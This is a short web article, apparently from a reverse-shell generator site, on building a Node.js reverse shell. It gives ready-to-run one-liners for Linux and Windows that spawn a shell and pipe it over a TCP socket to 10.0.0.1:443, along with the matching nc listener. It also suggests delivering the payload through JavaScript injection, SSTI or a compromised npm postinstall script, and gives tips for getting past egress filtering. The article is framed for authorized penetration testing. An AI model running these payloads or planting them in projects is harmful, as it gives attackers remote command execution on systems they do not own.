Skip to content
reverseshell

Node.js Reverse Shell: child_process Meets net.Socket

How a Node.js reverse shell works by piping a spawned shell through a TCP socket, the one-liner, and when Node is the interpreter you can rely on.

Published on 2 min read

Node.js is now a first-class target interpreter. Anything running an Express API, a Next.js server, a build agent, or an Electron backend has node on the box — and a JavaScript injection or a compromised npm script gives you somewhere to run it. The Node reverse shell is just two core modules wired together.

The One-Liner

node -e 'sh=require("child_process").spawn("/bin/sh");net=require("net");c=new net.Socket();c.connect(443,"10.0.0.1",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'

How it fits together:

  • require("child_process").spawn("/bin/sh") launches a shell child process.
  • net.Socket() + c.connect(443, "10.0.0.1", ...) opens a TCP connection back to your listener.
  • The three pipe calls connect the streams: socket data flows into the shell's stdin, and the shell's stdout/stderr flow back out the socket.

It is the same socket-to-shell idea as every other payload, expressed with Node streams. Catch it with nc -lvnp 443.

Windows

On a Windows host with Node, swap the shell:

node -e 'sh=require("child_process").spawn("cmd.exe");net=require("net");c=new net.Socket();c.connect(443,"10.0.0.1",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'

For Windows generally, see windows reverse shells.

Where Node Payloads Land

Node payloads rarely come from a terminal — they come from the application:

  • A server-side JavaScript injection or template/SSTI bug.
  • A malicious or compromised dependency running in a postinstall script.
  • An exposed dev endpoint that evaluates input.

That context means the payload is usually embedded in JSON or a JS string before it runs, so quoting matters even more than usual.

When It Won't Connect

  1. No Node on the target — check which node; fall back to bash or python.
  2. Quoting — the payload is a JS string inside shell single quotes; nested contexts break it. See payload quoting.
  3. Egress filtered — prefer 443/80; test per egress filtering.
  4. Listener mismatch — see choosing a listener.

Full checklist: why reverse shells fail.

Generate It

The reverse shell generator emits the Node.js one-liner with your LHOST/LPORT and the matching listener.

Authorized Testing Only

Use Node.js reverse shells only against systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.

Related articles

A plain-English explanation of how reverse shells work, why they beat bind shells through firewalls, and how a reverse shell generator saves you from copy-paste mistakes.
The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.
How the python reverse shell one-liner works with socket and pty, why the python/python3 split breaks payloads, and a version-agnostic fallback.